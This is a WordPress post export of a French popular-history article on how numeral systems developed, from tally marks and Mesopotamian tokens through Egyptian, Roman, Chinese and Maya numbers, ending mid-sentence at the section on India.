{"id":100,"date":"2013-12-14T22:50:43","date_gmt":"2013-12-14T19:50:43","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/14\/des-chiffres-aux-nombres\/"},"modified":"2013-12-14T22:50:43","modified_gmt":"2013-12-14T19:50:43","slug":"des-chiffres-aux-nombres","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/des-chiffres-aux-nombres\/","title":{"rendered":"Des chiffres aux nombres"},"content":{"rendered":"<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Diddl-7507.jpg\" border=\"0\" \/><br \/> <span style=\"font-size: xx-small;\"><em><a href=\"http:\/\/www.diddl.fr\/\" target=\"_Blank\">Diddl &#8211; Goletz<\/a><\/em><\/span><\/center> <\/p>\n<p>\u00a0<\/p>\n<p>1, 2, 3, 4, 5, 6, 7, 8, 9 \u2026 comment en est-on arriv\u00e9 l\u00e0 ? Pas si simple ! \u2026 et pour r\u00e9pondre \u00e0 cette question, nous allons devoir voyager de la M\u00e9sopotamie (actuelle Irak) \u00e0 l\u2019Afrique du Nord en passant par l\u2019Egypte, l\u2019Inde et la Gr\u00e8ce.<\/p>\n<p>  <!--more-->  <\/p>\n<p>\u00a0<\/p>\n<p>Une petite l\u00e9gende autour du mot \u00ab\u00a0calcul\u00a0\u00bb (qui vient de \u00ab calculus \u00bb, en latin, caillou), nous raconte que le berger d\u00e9posait dans un panier autant de cailloux que de moutons quittaient la bergerie. En rentrant des pr\u00e9s, le berger sortait les cailloux du panier afin de v\u00e9rifier le compte de moutons.<br \/> C&rsquo;est ce qu&rsquo;on appelle la <strong>correspondance terme \u00e0 terme<\/strong>. Elle consiste \u00e0 associer \u00e0 chaque \u00e9l\u00e9ment de l&rsquo;ensemble \u00e0 compter (ici les moutons), des \u00e9l\u00e9ments d&rsquo;une autre vari\u00e9t\u00e9 (cailloux, doigts, &#8230;). Elle est la base de tout syst\u00e8me de num\u00e9ration et permet en particulier de comparer la taille des ensembles.<\/p>\n<p>L\u2019\u00e9volution de nos chiffres s&rsquo;\u00e9tale sur plusieurs mill\u00e9naires. C&rsquo;est au Pal\u00e9olithique (il y a 30 000 ans) qu&rsquo;on trouve les premi\u00e8res marques permettant de conserver les nombres sur des supports tels que les os ou le bois. La plus ancienne est un p\u00e9ron\u00e9 de babouin portant 29 encoches trouv\u00e9 au Swaziland en Afrique australe.<\/p>\n<ul style=\"margin-right: 0px;\" dir=\"ltr\">\n<ul>\n<ul>\n<ul>\n<ul>\n<ul>\n<ul>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet5\">Compter par paquets : la base du syst\u00e8me<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet1\">Classification des num\u00e9rations<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet7\">En M\u00e9sopotamie<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet8\">En Egypte<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet9\">En Gr\u00e8ce<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet12\">En Chine<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet10\">Chez les mayas<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet2\">En Inde<\/a><\/li>\n<li><a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/histoire-des-nombres#signet2\">De l&rsquo;Inde \u00e0 l&rsquo;Occident<\/a><\/li>\n<\/ul>\n<\/ul>\n<\/ul>\n<\/ul>\n<\/ul>\n<\/ul>\n<\/ul>\n<p dir=\"ltr\">\u00a0<\/p>\n<p><a name=\"signet5\"><\/a><\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">Compter par paquets : la base du syst\u00e8me<\/span><\/p>\n<p>On a tous eu un jour l\u2019occasion de compter une quantit\u00e9 importante de petits objets : des pi\u00e8ces de monnaie, des billes, des cartes, \u2026 Notre compte fini, on en effectue un deuxi\u00e8me afin d\u2019\u00eatre certain de ne pas s\u2019\u00eatre tromp\u00e9. Mais il est rare, malheureusement, de tomber deux fois sur le m\u00eame r\u00e9sultat. Et l\u00e0, notre esprit ing\u00e9nieux (!) nous conseille d\u2019user d\u2019un stratag\u00e8me pour ne pas se faire poss\u00e9der une nouvelle fois par le grand nombre : on fait des petits paquets de 10 ! Et si cela ne suffit pas : avec 10 petits paquets de 10, nous formons un gros paquet de 100. <br \/> Nous r\u00e9inventons le syst\u00e8me de num\u00e9ration de <strong>base 10<\/strong> (syst\u00e8me d\u00e9cimal). Pourquoi \u00ab de base 10 \u00bb, car pour obtenir un petit paquet, il faut 10 unit\u00e9s et pour obtenir un gros paquet, il faut 10 petits paquets. <br \/> Pour passer au rang des dizaines (petits paquets), il faut 10 unit\u00e9s et pour passer au rang des centaines (gros paquets), il faut 10 dizaines.<br \/> 10 unit\u00e9s d&rsquo;un rang valent 1 unit\u00e9 du rang imm\u00e9diatement sup\u00e9rieur.<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-680.jpg\" border=\"0\" \/><\/center> <\/p>\n<p>L&rsquo;\u00e9criture d\u00e9cimale demande 10 symboles (0, 1, 2, 3, 4, 5, 6, 7, 8, 9). Nos 10 doigts en sont incontestablement \u00e0 l\u2019origine. Que serait aujourd\u2019hui notre syst\u00e8me d\u2019\u00e9criture si nous avions deux doigts seulement ???<\/p>\n<p>Il est possible en effet d&rsquo;\u00e9crire les nombres dans d&rsquo;autres bases que la base d\u00e9cimale ! Prenons par exemple le <strong>syst\u00e8me binaire<\/strong> (<em>base 2<\/em>) qui ne dispose que de deux symboles : 0 et 1 (deux doigts!)<\/p>\n<p> <center> <\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p><strong>0 <\/strong>s\u2019\u00e9crit <span style=\"color: #009900;\"><strong>0<\/strong> (en base 2)<\/span> <br \/> <strong>1<\/strong> s\u2019\u00e9crit <strong><span style=\"color: #009900;\">1<\/span><\/strong> <br \/> <strong>2<\/strong> s\u2019\u00e9crit <strong><span style=\"color: #009900;\">10<\/span> <\/strong><br \/> <strong>3 <\/strong>s\u2019\u00e9crit <strong><span style=\"color: #009900;\">11<\/span> <\/strong><br \/> <strong>4<\/strong> s\u2019\u00e9crit <strong><span style=\"color: #009900;\">100<\/span><\/strong> <br \/> <strong>5<\/strong> s\u2019\u00e9crit <strong><span style=\"color: #009900;\">101<\/span><\/strong> etc\u2026<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center> <\/p>\n<p dir=\"ltr\">Ce syst\u00e8me est par exemple utilis\u00e9 dans la programmation des ordinateurs. En \u00e9lectronique, soit le circuit est ferm\u00e9 (0), soit il est ouvert (1). A condition d\u2019avoir un nombre suffisant de circuits, on peut coder n\u2019importe quel nombre. Le code ASCII utilise ainsi les nombres binaires pour repr\u00e9senter des symboles tels les caract\u00e8res, les chiffres, les signes de ponctuation&#8230;<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-681.jpg\" border=\"0\" \/><\/center> <\/p>\n<p><a name=\"signet1\"><\/a><\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">Classification des num\u00e9rations<\/span><\/p>\n<p>Chaque civilisation avait son syst\u00e8me de num\u00e9ration plus ou moins performant dans sa propre base.<\/p>\n<p>&#8211; Dans le<strong> principe additif<\/strong>, la valeur d&rsquo;un nombre est \u00e9gale \u00e0 la somme des symboles qui le composent. Un nombre est form\u00e9 par la juxtaposition de symboles r\u00e9p\u00e9t\u00e9s autant de fois qu&rsquo;il le faut.<br \/> Pour noter le chiffre 9 par exemple, les \u00e9gyptiens r\u00e9p\u00e8tent neuf fois le symbole de l\u2019unit\u00e9. <br \/>On voit vite les limites de ce proc\u00e9d\u00e9 quand il s\u2019agit de repr\u00e9senter des grands nombres mais surtout d&rsquo;effectuer des calculs. Le principe additif imposait en effet une distance entre \u00e9criture et calcul exigeant l\u2019usage de dispositifs mat\u00e9riels tels le boulier ou l\u2019abaque.<\/p>\n<p>&#8211; Comment peut on \u00e9crire alors un nombre avec moins symboles ? <br \/>Le<strong> principe de position<\/strong> semble en \u00eatre la meilleure r\u00e9ponse et constitue une avanc\u00e9e capitale dans l&rsquo;histoire de l\u2019\u00e9criture des nombres.<br \/>L&rsquo;id\u00e9e ing\u00e9nieuse est que la valeur du symbole varie en fonction de la place qu\u2019il occupe dans l\u2019\u00e9criture du nombre.<br \/>Dans 553, par exemple, le \u00ab\u00a05 de gauche\u00a0\u00bb occupe la place des centaines et vaut 10 fois plus que le \u00ab\u00a05 du centre\u00a0\u00bb occupant la place des dizaines. Ce sont pourtant les m\u00eames symboles !<\/p>\n<p>&#8211; Certaines civilisations ont adopt\u00e9 un <strong>principe mixte appel\u00e9 num\u00e9ration hybride<\/strong> faisant intervenir simultan\u00e9ment l&rsquo;addition et la multiplication dans le principe de position.<br \/>Pour comprendre, le nombre 932 repr\u00e9sent\u00e9 dans un tel type de num\u00e9ration s&rsquo;\u00e9crirait : 9<strong><em><span style=\"text-decoration: underline;\">100<\/span><\/em><\/strong>3<strong><em><span style=\"text-decoration: underline;\">10<\/span><\/em><\/strong>2<strong><em><span style=\"text-decoration: underline;\">1<\/span><\/em><\/strong><\/p>\n<p>\u00a0<\/p>\n<p><a name=\"signet7\"><\/a><\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">En M\u00e9sopotamie<\/span><\/p>\n<p>Depuis l&rsquo;Anatolie \u00e0 la vall\u00e9e de l&rsquo;Indus, et de la mer Caspienne au Soudan, on utilise des petits jetons de terre cuite de formes et de tailles diff\u00e9rentes suivant la quantit\u00e9 qu\u2019ils repr\u00e9sentent. Les plus anciens retrouv\u00e9s remontent \u00e0 une \u00e9poque allant du IX\u00e8me au VII\u00e8me mill\u00e9naire avant J.C.<\/p>\n<p>En 3500 avant J.C., <strong>en M\u00e9sopotamie<\/strong>, dans les soci\u00e9t\u00e9 de Sumer et d&rsquo;Elam, ces jetons sont emprisonn\u00e9s dans une boule creuse en argile qui permet de v\u00e9rifier que les transactions commerciales sont exactes, on leurs donnera le nom de <em>calculi<\/em>.<\/p>\n<table style=\"width: 90%;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"70%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-610.jpg\" border=\"0\" \/><\/center><\/td>\n<td width=\"30%\">\n<p>-Petit c\u00f4ne = 1<\/p>\n<p>-Petite bille = 10<\/p>\n<p>-Grand c\u00f4ne = 60<\/p>\n<p>-Grand c\u00f4ne perc\u00e9 = 600<\/p>\n<p>-Grosse bille = 3600<\/p>\n<p>-Grosse bille perc\u00e9e = 36000<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><a name=\"signet4\"><\/a><\/p>\n<p>Ces cailloux constituent l&rsquo;un des premiers syst\u00e8mes de num\u00e9ration. Ce syst\u00e8me suit le principe additif et sa base est <strong>sexag\u00e9simale (base 60)<\/strong>. <br \/> Les origines de la base 60 se cachent \u00e9galement sur nos mains : il s\u2019agit d\u2019une combinaison entre les 5 doigts de la main gauche et les phalanges des quatre doigts de la main droite, le pouce servant \u00e0 compter les phalanges, soit 12 au total. Et 5 x 12 = 60 !<\/p>\n<p> <center> <\/p>\n<table style=\"width: 90%;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Ifrah1-9477.jpg\" border=\"1\" \/><\/center><\/td>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Ifrah2-9278.jpg\" border=\"1\" \/><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <span style=\"font-size: small;\"><em>Extrait de \u00ab\u00a0Histoire universelle des chiffres\u00a0\u00bb Georges Ifrah &#8211; Editions Robert Laffont 1994<\/em><\/span><\/center> <\/p>\n<p>L\u2019astronomie a pr\u00e9serv\u00e9 ce syst\u00e8me que l\u2019on retrouve aujourd\u2019hui au travers des unit\u00e9s de temps (1h = 60min = 3600s) et des mesures d\u2019angles (un tour entier = 360\u00b0).<br \/> Par exemple, <em>75 en base 10<\/em> s&rsquo;\u00e9crit <em>1,15 en base 60<\/em>. En effet, 75 min = 1h15min.<\/p>\n<p>Mais la manipulation n\u2019est pas facile car pour v\u00e9rifier que la marchandise correspond bien au nombre de \u00ab calculi \u00bb enferm\u00e9s dans la boule, il faut casser celle-ci.<\/p>\n<p>Durant la seconde moiti\u00e9 du IV\u00e8me mill\u00e9naire avant J.C., \u00e0 Sumer, na\u00eet l\u2019\u00e9criture, et avec elle, les premi\u00e8res repr\u00e9sentations \u00e9crites des nombres.<br \/>La boule \u00ab s\u2019aplatit \u00bb et devient une tablette sur laquelle sont grav\u00e9s des pictogrammes repr\u00e9sentant la nature de la marchandise : \u00e9pis de bl\u00e9, animaux, \u2026<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Uruk-3283.jpg\" border=\"0\" \/><\/center> <\/p>\n<p><a name=\"signet3\"><\/a><\/p>\n<p>Cette \u00e9criture \u00e9volue vers une forme simplifi\u00e9e, dite cun\u00e9iforme que l&rsquo;on trouve chez les babyloniens vers 2500 avant J.C.<\/p>\n<p>Vers le II\u00e8me mill\u00e9naire avant J.C., elle \u00e9voluera encore pour permettre l&rsquo;\u00e9criture de nombres plus grands et voir appara\u00eetre la premi\u00e8re num\u00e9ration de position. En fait, cette \u00e9criture combine le principe additif et le principe de position. Suivant la place qu&rsquo;occupe le symbole, celui-ci correspond soit \u00e0 une unit\u00e9, soit \u00e0 une soixantaine, soit \u00e0 une soixantaine de soixantaines.<br \/> Il n&rsquo;existe que deux symboles le \u00ab\u00a0clou vertical\u00a0\u00bb et le \u00ab\u00a0chevron\u00a0\u00bb. Les neuf premiers chiffres se repr\u00e9sentent par r\u00e9p\u00e9titions de clous verticaux (principe additif). 10 est repr\u00e9sent\u00e9 par le chevron. Pour \u00e9crire les nombres de 11 \u00e0 59, on r\u00e9p\u00e8te les symboles autant de fois que n\u00e9cessaire (principe additif).<br \/> Le nombre 60 se repr\u00e9sente \u00e0 nouveau par le clou (principe de position).<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-9248.jpg\" border=\"0\" \/><\/center> <\/p>\n<p>Le syst\u00e8me de num\u00e9ration babylonien, parfois ambigu\u00eb, \u00e9voluera au fil du temps. Les scribes auront par exemple l\u2019id\u00e9e d\u2019un signe de s\u00e9paration des symboles se pr\u00e9sentant sous la forme d\u2019un double chevron exprimant qu\u2019il n\u2019y a rien. Il s&rsquo;agit de la premi\u00e8re trace du <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/zero\">z\u00e9ro<\/a> (III\u00e8me si\u00e8cle avant J.C.)<\/p>\n<p> <center> <\/p>\n<table style=\"width: 95%;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"33%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Tablette1-5116.jpg\" border=\"0\" \/><br \/><span style=\"font-size: small;\"><em>Tablette de terre cuite portant des nombres en \u00e9criture cun\u00e9iforme <\/em><\/span><\/center><\/td>\n<td width=\"33%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Tablette2-9478.gif\" border=\"0\" \/><br \/><span style=\"font-size: small;\"><em>Autre tablette babylonienne montrant une table de multiplication<\/em><\/span><\/center><\/td>\n<td width=\"33%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Tablette-9479.gif\" border=\"0\" \/><br \/><span style=\"font-size: small;\"><em>Calcul d&rsquo;aire de terrain (Umma &#8211; R\u00e9gion sum\u00e9rienne)<\/em><\/span><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center> <\/p>\n<p> <a name=\"signet8\"><\/a><\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">En Egypte<\/span><\/p>\n<p>Au III\u00e8me mill\u00e9naire avant J.C., <strong>en Egypte<\/strong>, les scribes \u00e9crivent les nombres sur des papyrus sous forme de hi\u00e9roglyphes. Les \u00e9gyptiens utilisent un syst\u00e8me de num\u00e9ration (reposant sur le principe additif) moins performant que celui des m\u00e9sopotamiens mais connaissent d\u00e9j\u00e0 l\u2019\u00e9criture d\u00e9cimale.<br \/> Ils peuvent repr\u00e9senter les nombres jusqu\u2019au million. Chaque signe poss\u00e8de une valeur qui correspond \u00e0 l&rsquo;une des 6 premi\u00e8res puissances de 10. L\u2019unit\u00e9 est une barre verticale ; la dizaine est une anse de panier ; la centaine est une corde enroul\u00e9e ; le millier est une fleur de lotus ; la dizaine de mille est un doigt dress\u00e9 ; la centaine de mille est un t\u00eatard et le million est un dieu.<\/p>\n<p>Le nombre repr\u00e9sent\u00e9 ci-dessous \u00e0 droite est 2 423 968. Essayez de comprendre comment est construit ce syst\u00e8me d\u2019\u00e9criture. C\u2019est facile !<\/p>\n<p> <center> <\/p>\n<table style=\"width: 60%;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-683.jpg\" border=\"0\" \/><\/center><\/td>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-685.jpg\" border=\"0\" \/><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center> <\/p>\n<p>Nous leurs devons aussi les <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/les-fractions#signet2\">fractions<\/a>, puisqu\u2019ils sont \u00e0 l\u2019origine des fractions de num\u00e9rateur 1.<br \/> Nous trouvons \u00e0 ce sujet un \u00e9pisode sanglant de la mythologie \u00e9gyptienne o\u00f9 Seth (Dieu de la violence) arrache l\u2019\u0153il \u00e0 Horus (Dieu \u00e0 t\u00eate de faucon et \u00e0 corps d\u2019homme) et le partage en 6 morceaux.<br \/> Son \u0153il est appel\u00e9 <em>Oudjat<\/em> ; chacune de ses parties symbolise une fraction de num\u00e9rateur 1 et de d\u00e9nominateurs 2, 4, 8, 16, 32 et 64.<br \/> Thot (Dieu humain) reconstitue l\u2019\u0153il, symbole du bien contre le mal mais la somme de ces parts n\u2019est pas \u00e9gale \u00e0 1 (l\u2019\u0153il entier) mais \u00e0 63\/64. <em>Thot<\/em> accordera le 64\u00e8me manquant \u00e0 tout scribe recherchant et acceptant sa protection.<\/p>\n<p> <center> <\/p>\n<table style=\"width: 90%;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-8433.jpg\" border=\"0\" \/> <br \/><span style=\"font-size: small;\"><em>Mur d&rsquo;une construction de Thoutmosis III \u00e0 Karnak<\/em><\/span><\/center><\/td>\n<td width=\"50%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Horus-8430.jpg\" border=\"0\" \/><br \/><span style=\"font-size: small;\"><em>L&rsquo;oeil d&rsquo;Horus<\/em><\/span><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center> <\/p>\n<p><a name=\"signet9\"><\/a><\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">En Gr\u00e8ce<\/span><\/p>\n<p><strong>Grecs<\/strong> et <strong>romains<\/strong> ont invent\u00e9 des syst\u00e8mes de num\u00e9ration alphab\u00e9tiques tr\u00e8s peu adapt\u00e9s aux calculs.<br \/> Le syst\u00e8me romain, par exemple, est compos\u00e9 de symboles (I, V, X, L, C, D et M) not\u00e9s c\u00f4te \u00e0 c\u00f4te selon le principe additif et combine les bases 5 et 10.<br \/> Notons, qu\u2019en r\u00e9alit\u00e9, ces symboles ne sont pas tous les formes initiales des chiffres romains. Les plus anciens sont les signes <strong>I<\/strong>, <strong>V<\/strong> et <strong>X<\/strong> qui d\u00e9rivent directement de la pratique de l&rsquo;entaille.<br \/> Pour voir leur \u00e9volution au fil des temps depuis les \u00e9trusques, cliquez sur le lien externe : <a href=\"http:\/\/histoiredechiffres.free.fr\/IE5\/numeration\/evolution%20num%20romaine.htm\" target=\"_Blank\"><em>Histoire des chiffres<\/em><\/a><\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-10044.jpg\" border=\"0\" \/><\/p>\n<p> <span style=\"font-size: small;\"><em>Entailles de bergers trouv\u00e9es en Dalmatie,<br \/>extrait de \u00ab\u00a0Histoire universelle des chiffres\u00a0\u00bb Georges Ifrah &#8211; Editions Robert Laffont 1994<\/em> <\/span><\/center> <\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\"> <\/p>\n<p><\/span><\/span><\/p>\n<p><em><span style=\"text-decoration: underline;\">Un exemple :<\/span><\/em> <strong>1789<\/strong> se note <strong>MDCCLXXXIX<\/strong><br \/> <em><strong>M<\/strong><span style=\"font-size: small;\">(1000)<\/span> <span style=\"color: #009900;\">+<\/span> <strong>D<\/strong><span style=\"font-size: small;\">(500)<\/span> <span style=\"color: #009900;\">+<\/span> <strong>CC<\/strong><span style=\"font-size: small;\">(2&#215;100=200)<\/span> <span style=\"color: #009900;\">+<\/span> <strong>L<\/strong><span style=\"font-size: small;\">(50)<\/span> <span style=\"color: #009900;\">+<\/span> <strong>XXX<\/strong><span style=\"font-size: small;\">(3&#215;10=30)<\/span> <span style=\"color: #009900;\">+<\/span> <strong>IX<\/strong><span style=\"font-size: small;\">(10-1=9)<\/span><\/em><br \/> Imaginez comment effectuer des op\u00e9rations avec une telle notation !!!<\/p>\n<p>L\u2019\u00e9criture grecque n&rsquo;\u00e9tait gu\u00e8re plus commode. Pour les grecs, les nombres sont n\u00e9cessairement li\u00e9s \u00e0 des conceptions g\u00e9om\u00e9triques. Ils n&rsquo;ont pas encore acquis un statut ind\u00e9pendant qui les ferait exister par eux m\u00eame.<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-673.jpg\" border=\"0\" \/><\/center> <\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\"><br \/> <a name=\"signet12\"><\/a> <\/p>\n<p><\/span><\/span><\/p>\n<p><span style=\"font-size: large;\">En Chine<\/span><\/p>\n<p>Le premier <strong>syst\u00e8me de num\u00e9ration chinois<\/strong> est d\u00e9cimal et de type hybride. Il fait appel \u00e0 13 symboles fondamentaux : les 9 unit\u00e9s et les 4 premi\u00e8res puissances de 10. Celui-ci a peu \u00e9volu\u00e9 au cours de l\u2019histoire. On trouve ces symboles sur les os et les \u00e9cailles divinatoires de l\u2019\u00e9poque Yin (XIV\u00e8me\/XI\u00e8me si\u00e8cles avant J.C.).<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image1-9254.jpg\" border=\"0\" \/><br \/> <span style=\"font-size: small;\"><em>Comparaison entre les symboles actuels (1\u00e8re ligne) et les symboles archa\u00efques (2\u00e8me ligne)<\/em><\/span><\/center> <\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\"><\/p>\n<p><\/span><\/span><\/p>\n<p>Les chinois du II\u00e8me si\u00e8cle avant J.C. disposent d\u2019un autre type de num\u00e9ration dit \u00ab num\u00e9ration savante \u00bb. Ce syst\u00e8me suit le principe additif dans la base 10. Les symboles sont compos\u00e9s de b\u00e2tonnets en alternant les rangs par des barres verticales ou horizontales pour \u00e9viter la confusion.<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image2-9255.jpg\" border=\"0\" \/><\/center> <\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\">\u00a0<\/span><\/span><\/p>\n<p> <center> <\/p>\n<table style=\"width: 100%; text-align: left;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"70%\">\n<p>Pour effectuer les op\u00e9rations arithm\u00e9tiques, les chinois placent ces b\u00e2tonnets d\u2019ivoire ou de bambou, appel\u00e9s <em>\u00ab\u00a0chou\u00a0\u00bb<\/em>, dans une table en forme d\u2019\u00e9chiquier.<\/p>\n<\/td>\n<td width=\"30%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image3-9256.jpg\" border=\"0\" \/><br \/> <span style=\"font-size: small;\"><em>Ma\u00eetre chinois enseignant l\u2019art du calcul<\/em><\/span><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center> <\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\"><br \/> <a name=\"signet10\"><\/a> <\/p>\n<p><\/span><\/span><\/p>\n<p><span style=\"font-size: large;\">Chez les mayas<\/span><\/p>\n<p>Dans leur \u00e9tude des astres, les <strong>mayas<\/strong> se servent des nombres pour calculer le temps. Ce sont les inventeurs du calendrier.<\/p>\n<p> <center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-684.jpg\" border=\"0\" \/><\/center> <\/p>\n<p>Leur syst\u00e8me de num\u00e9ration datant du V\u00e8me si\u00e8cle apr\u00e8s J.C. suit le principe de position dans la base <strong>vig\u00e9simale (base 20)<\/strong>. Celui-ci trouve ses origines avec nos 10 doigts et 10 orteils ! Les symboles employ\u00e9s sont compos\u00e9s de barres horizontales et de points : les glyphes. Ind\u00e9pendamment des autres civilisations, les mayas inventent le <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/zero\">z\u00e9ro<\/a> qu\u2019ils repr\u00e9sentent par un coquillage.<\/p>\n<p> <center> <\/p>\n<table style=\"width: 100%; text-align: left;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"20%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-9262.jpg\" border=\"0\" \/><\/center><\/td>\n<td width=\"80%\">\n<p>Les mayas \u00e9crivent de haut en bas par puissances de 20 d\u00e9croissantes. Leur syst\u00e8me conna\u00eet cependant une irr\u00e9gularit\u00e9 au 3\u00e8me ordre de l\u2019\u00e9criture. Les nombres se d\u00e9composent ainsi en somme de produits de <strong>1<\/strong> ; <strong>20<\/strong> ; <strong>18&#215;20<\/strong> (au lieu de 20<sup>2<\/sup>) ; <strong>18&#215;20<sup>2<\/sup><\/strong> ; \u2026<br \/> Ainsi l\u2019\u00e9criture ci-contre repr\u00e9sente le nombre :<br \/> 1x <strong>18&#215;20<sup>2<\/sup><\/strong><em>(4e ordre)<\/em> + 3x <strong>18&#215;20<\/strong><em>(3e ordre)<\/em> + 2x <strong>20<\/strong><em>(2e ordre)<\/em> + 12x <strong>1<\/strong><em>(1er ordre)<\/em> = 8332<br \/> Cette irr\u00e9gularit\u00e9 dans le 3\u00e8me ordre s\u2019explique par le fait que les mayas souhaitent respecter l\u2019ann\u00e9e solaire, soit : 18&#215;20=360 jours.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center><center> <\/p>\n<table style=\"width: 100%; text-align: left;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"80%\">\n<p>Parall\u00e8lement \u00e0 cette \u00e9criture, il existe une num\u00e9ration constitu\u00e9e de symboles en forme de t\u00eates (glyphes c\u00e9phalomorphes) que l\u2019on trouve sur les monuments.<\/p>\n<p>De la base 20, il nous reste aujourd\u2019hui le mot \u00ab quatre-vingts \u00bb pour lire le nombre \u00ab 80 \u00bb.<\/p>\n<\/td>\n<td width=\"20%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-9263.jpg\" border=\"0\" \/><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-8434.jpg\" border=\"0\" \/><br \/> <span style=\"font-size: small;\"><em>Symboles num\u00e9riques mayas retrouv\u00e9s sur les pages du codex de Dresde,<br \/> livre de 74 pages qui contient plusieurs exemples d\u2019almanachs, des tables d\u2019\u00e9clipses et des \u00e9tudes sur les cycles plan\u00e9taires.<\/em><\/span><\/center> <\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: small;\"><a name=\"signet2\"><\/a><\/span><\/span><\/p>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: large;\">En Inde<\/span><\/p>\n<p>Nos chiffres de \u00ab 1 \u00bb \u00e0 \u00ab 9 \u00bb que nous appelons \u00e0 tort \u00ab 